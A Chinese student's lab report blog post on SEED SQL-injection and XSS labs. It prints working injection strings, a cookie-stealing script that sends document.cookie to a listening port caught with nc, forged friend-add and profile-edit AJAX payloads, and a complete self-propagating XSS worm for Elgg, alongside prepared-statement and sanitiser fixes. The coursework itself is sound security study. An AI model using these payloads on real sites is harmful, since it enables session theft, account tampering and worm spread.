20212911陈金翔-2022-3 网络攻防实践 第十次(第十二周)作业

1.实践内容

1.1sql注入

  SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

  简而言之,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。

SQL 注入的原理主要有以下 4 点:

1.1.1恶意拼接查询

我们知道,SQL 语句可以查询、插入、更新和删除数据,且使用分号来分隔不同的命令。例如:
  SELECT * FROM users WHERE user_id = $user_id
其中,user_id 是传入的参数,如果传入的参数值为“1234; DELETE FROM users”,那么最终的查询语句会变为:
  SELECT * FROM users WHERE user_id = 1234; DELETE FROM users
如果以上语句执行,则会删除 users 表中的所有数据。

1.1.2利用注释执行非法命令。

SQL 语句中可以插入注释。例如:

  SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version=$version

如果 version 包含了恶意的字符串'-1' OR 3 AND SLEEP(500)--,那么最终查询语句会变为:

  SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version='-1' OR 3 AND SLEEP(500)--

以上恶意查询只是想耗尽系统资源,SLEEP(500) 将导致 SQL 语句一直运行。如果其中添加了修改、删除数据的恶意指令,那么将会造成更大的破坏。

1.1.3传入非法参数

SQL 语句中传入的字符串参数是用单引号引起来的,如果字符串本身包含单引号而没有被处理,那么可能会篡改原本 SQL 语句的作用。 例如:

  SELECT * FROM user_name WHERE user_name = $user_name

如果 user_name 传入参数值为 G'chen,那么最终的查询语句会变为:

  SELECT * FROM user_name WHERE user_name ='G'chen'

一般情况下,以上语句会执行出错,这样的语句风险比较小。虽然没有语法错误,但可能会恶意产生 SQL 语句,并且以一种你不期望的方式运行。

1.1.4添加额外条件

在 SQL 语句中添加一些额外条件,以此来改变执行行为。条件一般为真值表达式。例如:

  UPDATE users SET userpass='$userpass' WHERE user_id=$user_id;

如果 user_id 被传入恶意的字符串“1234 OR TRUE”,那么最终的 SQL 语句会变为:

  UPDATE users SET userpass= '123456' WHERE user_id=1234 OR TRUE;

这将更改所有用户的密码。

1.2 xss攻击

  跨站脚本攻击(Cross-site scripting,XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。当被攻击者登陆网站时就会自动运行这些恶意代码,从而,攻击者可以突破网站的访问权限,冒充受害者。
  如果 Web 应用程序没有部署足够的安全验证,那么,这些攻击很容易成功。浏览器无法探测到这些恶意脚本是不可信的,所以,这些脚本可以任意读取 cookie,session tokens,或者其它敏感的网站信息,或者让恶意脚本重写HTML内容。
在以下2种情况下,容易发生 XSS 攻击:
  数据从一个不可靠的链接进入到一个 Web 应用程序。
  没有过滤掉恶意代码的动态内容被发送给 Web 用户。
  恶意内容一般包括 JavaScript,但是,有时候也会包括 HTML,FLASH 或是其他浏览器可执行的代码。XSS 攻击的形式千差万别,但他们通常都会:将 cookies 或其他隐私信息发送给攻击者,将受害者重定向到由攻击者控制的网页,或是经由恶意网站在受害者的机器上进行其他恶意操作。
XSS 攻击可以分为3类:存储型(持久型)、反射型(非持久型)、DOM 型。
存储型 XSS
注入型脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。
反射型 XSS
当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。Web服务器将注入脚本,比如一个错误信息,搜索结果等 返回到用户的浏览器上。由于浏览器认为这个响应来自"可信任"的服务器,所以会执行这段脚本。
基于 DOM 的 XSS
通过修改原始的客户端代码,受害者浏览器的 DOM 环境改变,导致有效载荷的执行。也就是说,页面本身并没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面,并且意外执行。

2.实践过程

2.1 SQL 注入实验

2.1.1 熟悉sql语句

首先我们进入数据库,输入mysql -u root -pseedubuntu命令,其中root为用户名,pseedubuntu为密码

 

 使用命令show databases;展示已有的数据库

 

 使用use Users命令进入命令Users的数据库,使用show tables;展示该数据库下已有的表

 

 使用命令select * from credential 查看表中所以信息

 

 2.1.2对select语句进行sql注入攻击

 访问 www.SEEDLabSQLInjection.com,这是SEED上已经搭建好的web界面

 

 

 查看页面源代码,可以看到该页面使用get方法将表单提交给unsafe_home.php页面进行权限校验

 

 

 执行 vim /var/www/SQLInjection/unsafe_home.php命令观察该文件 ,找到核心的SQL语句,可以发现where部分存在可以进行注入攻击的漏洞

 

 

 利用注释特性构造注入攻击,当变量input_uname输入为Admin' #时,整条语句变成了:WHERE name= 'Admin' #' and Password='hashed_pwd'。在执行时,#后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin',这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:

 

 

 

 

 

 可以看到不需要密码也成功登录,拿到了数据库中的信息

2.1.3对 UPDATE 语句的 SQL 注入攻击

首先利用select语句的漏洞,用Alice' #登录,可以看到对应的信息

然后点击页面上方的Edit Profile进入更新信息页面

 

 

 我们可以看到更加界面对应的是unsafe_edit_backend.php文件,执行命令vim /var/www/SQLInjection/unsafe_edit_backend.php观察此文件,找到 SQL 语句,发现不能对个人工资进行更新修改,由上文可以知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName

 

 

 首先我们修改Alice的工资。 在NickName处构造注入攻击语句 ', salary='500000' where EID='10000';# ,在运行此语句时,#后面的会被注释,所以就直接执行set salary='500000' where EID = '10000' 这个指令,所以直接修改了工资。这个时候回去看自己的profile应该能看到是已经修改成功的,证明我们的攻击成功。

 

 

 

 

 

 接下来我们构造注入攻击语句', salary='1' where name='Boby';#。该语句可以修改Bob的工资,原理和之前的相同

 

 

 

 

 

 

2.1.4 SQL对抗,修复上述SQL注入攻击漏洞

SQL注入漏洞的根本问题是代码与数据存放在疫情。程序仅仅根据分隔符来区分代码和数据。要解决这个问题,最重要的是要确保在服务器端代码和数据库中的边界是一致的。预防注入攻击最安全的方法是使用预处理语句。例如在unsafe_home.php页面中,对SELECT语句进行预处理,将原来的语句使用绑定参数的方法,修改为:

sql=sql=conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");

sql>bindparam("ss",sql−>bindparam("ss",input_uname, $hashed_pwd);

 

 

 此时我们再使用注入攻击发现不再成功

 

 

 同样的方法修改unsafe_edit_backend.php中的update语句为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");

$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

 

 

 利用注入攻击试图修改失败

 

 

 2.2 xss跨站脚本攻击实验

我们利用Ubuntu VM映像中设置的一个名为Elgg的Web应用程序,利用该漏洞发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫。

2.2.1发布恶意消息

在浏览器中打开http://www.xsslabelgg.com,登录Alice的账户,用户名:alice,密码:seedalice

 

 

 在Edit profile下的Brief description文本框输入<script>alert('xss');</script>并点击Save保存,此时页面会弹出如下的提示框,这表示我们成功嵌入了JS代码,点击Save保存

 

 

 2.2.2显示cookie信息

与上面的方法类似,我们在其中写入<script>alert(document.cookie);</script>保存,便可以弹窗显示当前的cookie信息

 

 

 2.2.3 窃取受害者的cookies

我们可以通过js脚本动态地在页面添加一个<img>标签,同时在<img>标签的src属性中嵌入攻击代码。当浏览器执行遇到<img>标签的时候,会尝试从src字段中的URL来加载图片,这会导致HTTP GET请求发送到攻击者的机器。构造如下的payload:

<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>

该段js脚本会使得受害者使用JavaScript将cookies发送到攻击者机器的5555端口,攻击者同时监听这个端口,便可以得到想要的信息

 

 

 使用nc -lvvp 5555命令监听5555端口,成功得到信息

 

 

 

2.2.4 添加受害者好友

首先明确添加好友的流程

登录Alice的用户,并访问Boby的主页,点击左侧的Add friend,添加 Boby 为好友。这期间我们安ctrl+shift+E打开network选项卡,抓取请求信息

 

 

 

可以看到该请求的请求地址是http://www.xsslabelgg.com/action/friends/add,参数friend代表好友的id,参数__elgg_ts代表时间戳,参数__elgg_token代表token

可以构造下面的payload,用于添加其他好友

<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

把该脚本放在Alice的about me 框中

 

 

 当 Boby 访问 Alice的主页后:http://www.xsslabelgg.com/profile/alice,会自动添加Alice好友,用户名:boby,密码:seedboby

 

 

 返回 Boby 主页,看到已经成功添加 Alice 为好友

2.2.5 修改受害者信息

同样的,我们先查看修改资料需要走哪些流程,点击Edit profile并打开network选项卡进行捕获

 

 

 构造payload,使得boby在访问Alice主页时修改自己的信息

<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>Hacked!!!!!~~~</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

将该段payload添加到Alice的about me 中

 

 

 boby访问Alice的主页后个人信息被修改

 

 

 2.2.6编写XSS蠕虫

要实现蠕虫不断的感染,需要将xss的payload自身复制一份到受害者的个人资料内容里,这样当其他人访问受害者的主页面时,也会受到xss攻击,如此交替循环,使得蠕虫可以不断自动传播

构造payload如下所示:

<script id="worm" type="text/javascript">

    window.onload = function(){

        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";

        var jsCode = document.getElementById("worm").innerHTML;

        var tailTag = "</" + "script>"; 

        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;

        var guid="&guid="+elgg.session.user.guid;

        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid){

            var Ajax=null;

            Ajax=new XMLHttpRequest();

            Ajax.open("POST",sendurl,true);

            Ajax.setRequestHeader("Host","www.xsslabelgg.com");

            Ajax.setRequestHeader("Content-Type",

            "application/x-www-form-urlencoded");

            Ajax.send(content);

        }

    }

</script>

将该段payload保存到Alice的about me中,Bob访问Alice后被蠕虫感染,第三个用户samy访问Bob后也被感染,蠕虫自动感染成功。账户:samy,密码:seedsamy

 

2.2.6对抗xss攻击

Elgg本身已经提供HTMLawed 插件来对抗xss攻击,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

登录管理员账号,账号名:Admin,密码:seedelgg ,依次点击Account->administration->plugins,可以在此处找到插件HTMLawed

 

 

 

3.学习中遇到的问题及解决

问题:刚开始在about me中注入js时,受害者并没有如期望的受到xss攻击

解决方法:需要以html形式编辑

4.实践总结

web安全漏洞是最常见的也是最容易受到攻击的漏洞之一,特别是在今天web开发愈加复杂,需要多方团队的合作情况下,web安全应该受到更多的重视,以确保用户数据的安全性。

posted @ 2022-05-21 20:54  虎啊虎呀  阅读(53)  评论(0编辑  收藏  举报